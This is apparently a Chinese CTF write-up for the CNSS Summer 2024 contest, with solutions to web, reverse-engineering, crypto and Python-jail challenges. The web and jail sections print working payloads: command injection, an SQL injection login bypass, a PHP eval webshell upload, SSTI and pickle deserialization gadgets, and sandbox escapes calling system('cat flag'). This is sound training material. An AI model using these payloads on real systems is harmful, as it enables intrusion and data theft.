CNSS Summer 2024 WriteUp
Web
🦴 babyHTTP
考点GET POST Cookie,HTTP基础知识

🙋🏼♀️ PHPinfo
考点phpinfo()
http://111.229.23.244:50002/phpinfo.phpctrl+f,搜索cnss
🥇 我得再快点
利用正则表达式获取前端数据的Key的值,进行md5加密,再Python访问payload
import requests |
考点编写数据提取的脚本能力?
🏓 Ping
if (isset($_POST['ip'])){ |
应该是过滤了某些命令拼接符;|等,换行符%0a绕过,然后是空格绕过%09post: ip=127.0.0.1%0acat%09/f*
考点127.0.0.1 %0a ls %09 cat *
🐶 CNSS娘の宠物商店
先试试万能密码admin , 1'or'1'='1
考点简单的SQL注入
🎮 2048
无法使用bp抓包(目的也是为了修改分数)
查看js文件,发现F12被禁用,点击Flag按钮再F12
发现没有flag相关信息(特殊编码之类的),我觉得可以修改js文件里的score的加分规则,火狐修改不了,但谷歌浏览器应该可以(暂未试验),或者把网页下载下来再修改
使用到了控制台
此时分数已经被修改成功
考点简单的js小游戏
👤 换个头像先
经典老题,前端检验文件后缀1.png,内容为<?php eval($_GET['1']);?>
bp抓包,改为1.php
然后在网络中找到上传路径访问http://152.136.11.155:10107/avatars/a799bfa76e49bb0e43190454ff941710/1.php?1=system("cat /flag");
cnss{D4ng3r0us_Fl13_UpI0ad!}
考点抓包绕过前端检验
PS: 如上次NewStarCTF2023一样,命令没有反应,怎么办呢?换一个浏览器。。。纯坑爹
🚓 can can need shell
|
谁TM一开始跟我说的条件竞争。。。。 |
|
考点,代码审计+文件包含
7️⃣ EZRCCCCE
简单的7字符拼接,https://blog.csdn.net/nzjdsds/article/details/102873187payload.txt
>hp |
import requests |
最终payload,http://152.136.11.155:10109/1.php?1=system("cat /flag");
cnss{y0u_Rea11y_kn0w_h0w_7o_k22p_fit}
考点拼接字符串写入一句话
其实有反弹shell版,但bash被ban,nc的搞了一下没啥反应
🔧 where is my unserialize?
没有直接提供源码,没有unserialize函数,phar反序列化,太明显了题目
还可以查看文件,url/file.php?file=upload_file.php,得到信息function.php
|
base.php
|
index.php
|
不对啊,东西也不够啊,想起了file.php,得到最关键的信息class.php
class.php |

首先注意到file_get_contents这个函数,让它作为出口,但是没有输出,使用到CNSS的析构函数(echo),同时Show的__toString()方法触发CN55的__invoke()方法
本题不会触发__wakeup(),就不用进行绕过了
|
修改为phar.jpg,这个题目坏在不给我们提供文件路径得自己计算md5(phar.jpg),一开始我还以为没上传成功,就不管这题了
后面学弟说要自己算,开始还拿错网站了。。。url/file.php?file=phar://upload/628941e623f5a967093007bf39be805f.jpg
CNSS{Y0u_Kn0w_PHP_v2ry_we1l!}
考点pop链构造+phar反序列化
💻 CNSS娘の聊天室
{{7*7}},判断是SSTI(默认jinja了,这个太常见了)
只把字母ban了,利用八进制绕过
{{''.__class__.__bases__.__subclasses__()[133].__init__.__globals__.popen('cat /f*').read()}} |
import requests |
CNSS{y0u_Fxxking_ru1n3d_My_ch4tr00m!}
考点无字母八进制绕过SSTI
🏪 CNSS娘のFlag商店
main.py
# encoding: utf-8 |
buyInfo.py
NAME = "Rich" |
重点是不能出现r R,但又要是Rich,关注到user = pickle.loads(user.encode('utf-8')),很明显的pickle反序列化,ban了R指令,__reduce__就无法使用了,类似于PHP中的__wakeup(触发反序列化就自动调用)
接下来,手搓opcode
https://www.cnblogs.com/cioi/p/12464592.html
https://goodapple.top/archives/1069
https://www.kinsomnia.cn/index.php/2023/12/11/pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://tttang.com/archive/1782/
https://xz.aliyun.com/t/7436
http://ngc660.cn/2022/11/%E6%9C%80%E8%BF%91%E7%A2%B0%E5%88%B0%E7%9A%84-python-pickle-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%B0%8F%E6%80%BB%E7%BB%93/
本地试验一下,同时也熟悉一下c o i三种操作码
十六进制编码绕过 |
CNSS{fl4g_0nly_f0r_r1ch_k1d5}
考点pickle反序列化R指令绕过
😽 Tomcat?cat~
python .\Struts2Scan.py -u http://152.136.11.155:10110/user.action |
payload参考https://blog.csdn.net/qq_36241198/article/details/114937777
任意命令执行 env 打印环境变量,存在fake flag |
CNSS{t0mcat_!s_4_cute_cat_m1a0!}
话说它的fake flag: FLAG=flag{7r0m_jwt_t0_struts2},也让我一度怀疑,这里有jwt吗?乱蛊惑人
考点struts2漏洞
💽 newsql()
MySQL8新特性注入,有点事,然后SQL注入又不是很想看,后续无……
🔪 CNSS娘の自助Flag商店
这次不返回flag了,没有回显,flag is in /flag.txt,考虑反弹shell(可以不装富哥了这次,拿了flag就走)
注意编码&
(cos |
CNSS{fl4g_f0r_smArt_k1ds}
考点pickle反序列化反弹shell
🐣 没有人比我更懂RuoYi()
https://forum.butian.net/share/2796
小看了一下,然后有事,后续无……
Pwn
😯nc? nc!
显而易见的pwn签到,ls,cat flag
Reverse
😍 那个女人

考点IDA的使用
😭我的flag碎了一地
puts("Hint:"); |
flag1,shift+F12,查找字符串
flag2,Functions
flag3
puts("Learn about `Xref` and Find out which function refers me to get the last part of the flag!"); |
views–>Open subsviews–>Function Call

CNSS{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
考点(每年必出老题)IDA的基本使用
♾️ 亦真亦或亦假
int __cdecl main(int argc, const char **argv, const char **envp) |
c = [0x79, 0x75, 0x6F, 0x6E, 0x65, 0x47, 0x10, 0x73, |
cnss{X0R_c4n_b3_us3d_t0_3nc0d3}
注意是小端序
考点简单异或
🍵 茶杯头大冒险
__int64 __fastcall encrypt(unsigned int *a1, unsigned int *a2) |
int __cdecl main(int argc, const char **argv, const char **envp) |
XTEAhttps://bbs.kanxue.com/thread-266933.htm
24位的flag
|
cnss{Enj0y_te4_W!th_me!}
考点XTEA加密算法
✈️ 打飞机高手
如果ida有装keypatch这个插件的话就能直接通过更改汇编语句从而patch机器码
https://github.com/keystone-engine/keypatch
下载Keypatch.py复制到插件目录IDA 7.0\plugins\Keypatch.py
下载安装keystone python模块,64位系统只需要安装这一个就行
https://github.com/keystone-engine/keystone/releases/download/0.9.1/keystone-0.9.1-python-win64.msi
(IDA打开一个文件之后,Edit没看见Patch,即没成功)如果不行(可能需要)继续安装
pip install keystone-engine # 安装 |

修改汇编语句的分数为01h,这个0是必须的十六进制是这样的,一路点击patch,最后那个不知道什么取消掉就好(不造啊)
然后,Patch program>apply patches to input file
重新打一次飞机即可(bushi,空格是射击)
好像会patch了()
cnss{w0w_y0u_4r3_7he_m4st3r_0f_h1tt1ng_p1an3s!}
考点patch 汇编语句修改
Crypto
🔮 cnss娘的谜语
""" |
cnss{学会编码是学 Crypto 的第一步。!}
考点基本的字符串
🐬 水龙吟
""" |
$ax\equiv b\ (mod\ m)$
$等价,ax+my=b$
$ax’+my’=gcd(a,m)=d$
$a/d是整数,m/d也是整数,所以,d|b$
$(a/d)x+(m/d)y=b/d,随着y值变化,x存在d个不同余的解,d个解关于m/d同余$
$ax’(b/d)+my’(b/d)=d(b/d)=b$
$可以看到x’(b/d)是方程的解,但它可能是负数,加个数即可$
$最终,最小整数解为(在这里m=m/d),(x*(b/d)+m)\%m$
cnss{Subgroup @nd Eucl1d algOrithm 1s eleg4nt.}
考点同余方程求解
🌔 卜算子
""" |
cnss{1t is similar to two-prime RSA....}
考点最基本的RSA
🐠 Fun_factoring
import random |
q1-1是光滑数(可以分解为小素数乘积的正整数),可以用Pollard's p-1算法分解n1,这里数比较小,也可以直接分
hint2 = e2 * d2,想起了,知道e*d,n可以分解n
那么,同理,是否可以用hint2分解hint1呢?答案是可以的
为什么呢?原因很简单,我们满足条件
$g^{ed-1}\equiv 1(mod\ hint1)$
即可
根据欧拉定理
$g^{\phi (n_{2})*(r-1)}\equiv 1(mod\ hint1)$
$而,ed-1=k\phi(n_{2}),测试可知,k>>r-1$
所以也可以满足
b'cnss{1f_y0u_Kn0w_Pollard_y0u_Kn0w_1t_4ll}' |
考点Pollard's p-1算法,通过e*d分解n
🦢 BabyCurve
from Crypto.Cipher import AES |
Q = e * P,给定公私钥计算基点,P = Q*inverse(e,E.order())cnss{The elliptic curve 0ver a fin1te f1eld is an ab3lian group!}
考点ECC的简单解密,已知公私钥求基点+AES
🔑 Small private key
from Crypto.Util.number import * |
d很小,winner attack,根据n=p**2*q,找到一篇参考
https://iopscience.iop.org/article/10.1088/1742-6596/622/1/012019/pdf
$\phi(n)\approx n-(2*n^{2/3}-n^{1/3})$cnss{Th1s is the p0wer of continu3d fr@ction hhhhhhh}
考点winner attack
🐿️ 物不知数
from Crypto.Util.number import * |
https://www.ruanx.net/pohlig-hellman/
https://blog.miskcoo.com/2015/05/discrete-logarithm-problem
$h\equiv 7^{m}(mod\ n),离散对数问题(DLP)$
$SageMath里面实现的离散对数就是基于大步小步算法(BSGS)和Pohlig-Hellman$
$有两种方法,但貌似第一个(注释掉的那个)太慢了$
$h=g^{m}(mod\ p),两边取指标,Ind_{g}h=m\ mod\ \phi(p)$
$所以,实际上我们BAGS得到的m,是在模\phi(p)下的$
$M=m_{i}\ mod\ \phi (p_{i})$
$n的最后一个因子比较大,为减少运行时间,CRT依靠前四个因子也能求解$
cnss{Wow!The CRT 1s S0 u5eful!}
考点DLP+CRT
⚒️ 铜匠的艺术Ⅱ
from Crypto.Util.number import * |
时隔一年再一次出手
这里除了flag未知,还有两个参数也未知,那么是否可以打二元copper呢?
所以这道题的关键是,通过题目给的两个式子消去s
$令A=d_{1}+b_{1},B=d_{2}+b_{2}$
$(s+r_{1})A\equiv 1\ mod\ p$
$(s+r_{2})B\equiv 1\ mod\ p$
$A^{-1}\equiv (s+r_{1})\ mod\ p$
$B^{-1}\equiv (s+r_{2})\ mod\ p$
$A^{-1}-B^{-1}\equiv (r_{1}-r_{2})\ mod\ p$
$其实,逆元你也可以理解为倒数吧$
$A^{-1}-B^{-1}=\frac{B-A}{AB}$
$f(x,y)=AB(r_{1}-r{2})-B+A\equiv 0\ mod\ p$
$x=b_{1},y=b_{2}$
$s\equiv A^{-1}-r_{1}\ mod\ p$
下面简单套个模板就出了
# sage |
⛏️ 铜匠的艺术Ⅰ
from Crypto.Util.number import * |
铜匠攻击coppersmith
https://jayxv.github.io/2020/08/13/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8Bcoppersmith/
应用到了boneh durfee attack,问题是e未知
https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
Lazzaro佬的总结https://www.cnblogs.com/404p3rs0n/p/15542587.html
问了一下出题人,讲了一下想法,没有理我……
时隔半年,混成密码老手再来看这题,也是直接提取到关键信息了,unbalanced rsa,而且d=p是可以利用的,先看看弱化版本
如果题目给出e的话,$en\equiv epq\equiv q\equiv edq\equiv q\ mod\ \phi(n)$
$2^{en}\equiv 2^{q}\ mod\ n$
$2^{en}\equiv 2^{q}\equiv 2\ mod\ q$
$q=GCD(2^{en}-2,n)$
强化版,不给e
$c’\equiv m^{e*n}\equiv m\ mod\ q$
# sage |
😋 叒是欧几里得
from Crypto.Util.number import * |
翻阅学习coppersmith时学到的,https://jayxv.github.io/2020/08/13/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%E4%B9%8Bcoppersmith/,Van1shOrzz,实例第五关
$c1=(m+r_{1})^{e}mod\ n$
$c2=(m+r_{2})^{e}mod\ n$
$M_{1}=m+r_{1}$
$M_{2}=m+r_{2}=M_{1}+r=f(M_{1})$
$X^{e}-c1\equiv 0(mod\ n)$
$f(X)^{e}-c2\equiv 0(mod\ n)$
$对于这两个多项式,有一个公共解:M_{1}$
$多项式除法的基本定理,即因子定理$
$如果P(X)是一个多项式,且M_{1}是一个数使得P(M_{1})=0,那么X−M_{1}是P(X)的一个因子$
$即,存在另一个多项式Q(X),使得P(X)=(X-M_{1})Q(X)$
$那么有,(X-M_{1})Q(X_{1})\equiv 0(mod\ n)$
$(X-M_{1})Q(X_{2})\equiv 0(mod\ n)$
$根据单调性可知,方程有唯一解M_{1},则Q(X_{i})不可再因式分解,彼此互素$
$对俩多项式GCD,得到X-M_{1},但模n的情况下,得到X+M’的形式$
$M’=-M_{1}(mod\ n),最终,M=-M’(mod\ n)$
$第一次爆破,是对M_{1}M_{2}的差值进行爆破$
$最后,对M_{1}进行随机数爆破,得到$
cnss{Half-GCD 1s so u5eful!}
考点Related Message Attack
⚽ Permutation
from sage.all import * |
这题其实是原题,bricsctf-2023-Quals,可参考小鸡块师傅的博客-sqrt
解题脚本,貌似跑不起来……,就此作罢了
Misc
🙈 尔辈不能究物理
doc和docx的区别中较大的区别就是文件格式不同,一个是二进制一个为XML格式
用解压工具打开,word/media
W5_w0RD_Bt_M3!}
word/embeddings/oleObject21.bIn010或者记事本打开,发现cnss{N0bodY_Kn0
发现两段flag的生成时间都是比赛开始的前一天晚上
flag: cnss{N0bodY_Kn0W5_w0RD_Bt_M3!}
✨ 星光下的梦想
Audacity查看频谱图
有点模糊,但也试出来了CNSS{DR34M~UND3RN347H~5T4R11GH7}
⛓️ jailbreak
jail-0.py |
nc 156.238.233.117 47800
经典exec,无回显
基于 AST 的沙箱 |
这样无法导入模块
https://zhuanlan.zhihu.com/p/578966149
https://jbnrz.com.cn/index.php/2024/05/19/pyjail/
https://www.viewofthai.link/2023/05/11/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
https://xz.aliyun.com/t/12647?time__1311=GqGxuDRiYiwxlrzG7DyGQG8D909mL6o3x#toc-22
学习到了还是通过SSTI的本质原理:继承关系逃逸
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat flag") |
CNSS{a7_e4sy_p5_ja1l}
考点pyjail继承链逃逸
⛓️ jailbreak-again()
nc 156.238.233.117 47801
# FROM python:3.12.3-alpine |
进阶版多了ast.Eq,顾名思义把我们的==ban了
还多了黑名单" ' __ [ ] class global import system
[ x.__init__.__globals__ for x in ().__class__.__base__.__subclasses__() if "_wrap_close" in x.__name__ ][0]["system"]("cat flag") |
https://xz.aliyun.com/t/12303
https://www.tr0y.wang/2019/05/06/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E7%BB%8F%E9%AA%8C%E6%80%BB%E7%BB%93/
https://lazzzaro.github.io/2020/05/15/web-SSTI/
https://www.cnblogs.com/mumuhhh/p/17811377.html
https://xz.aliyun.com/t/12647
然后,又没时间看了,无后续++
⛓️ jailbreak-again-and-again()
nc 156.238.233.117 47802
# FROM python:3.12.3-alpine |
无后续++